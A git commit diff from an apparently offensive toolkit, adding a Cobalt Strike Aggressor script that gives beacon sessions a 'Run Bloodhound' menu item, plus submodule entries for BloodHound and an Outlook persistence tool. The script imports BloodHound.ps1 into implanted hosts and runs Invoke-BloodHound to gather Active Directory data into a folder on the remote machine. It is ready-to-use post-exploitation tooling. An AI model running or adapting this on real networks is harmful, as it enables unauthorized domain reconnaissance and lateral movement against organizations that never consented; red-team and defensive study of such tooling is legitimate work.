Add menu support for bloodhound

This commit is contained in:
Zack Henson
2017-04-03 15:38:45 -04:00
parent 25f369b7a7
commit 1d06403729
3 changed files with 27 additions and 0 deletions
+3
View File
@@ -4,3 +4,6 @@
[submodule "Persistence/OutlookPersistence"]
path = Persistence/OutlookPersistence
url = https://github.com/Und3rf10w/OutlookPersistence.git
[submodule "Bloodhound/BloodHound"]
path = Bloodhound/BloodHound
url = https://github.com/BloodHoundAD/BloodHound
+23
View File
@@ -0,0 +1,23 @@
# Adds menu driven support for BloodHound
# Zack Henson
sub run_bloodhound {
$bid = $1;
binput($bid, "powershell-import " . script_resource("BloodHound/PowerShell/BloodHound.ps1"));
bpowershell_import($bid, script_resource("BloodHound/PowerShell/BloodHound.ps1"));
prompt_text("CSV output folder (on remote machine)", "C:\\Temp", {
binput($bid, "powershell Invoke-BloodHound -CSVFolder $1");
bpowershell($bid, "Invoke-BloodHound -CSVFolder $1");
});
}
popup beacon_bottom {
menu "Bloodhound"{
item "Run Bloodhound"{
local('$bid');
foreach $bid ($1){
run_bloodhound($bid);
}
}
}
}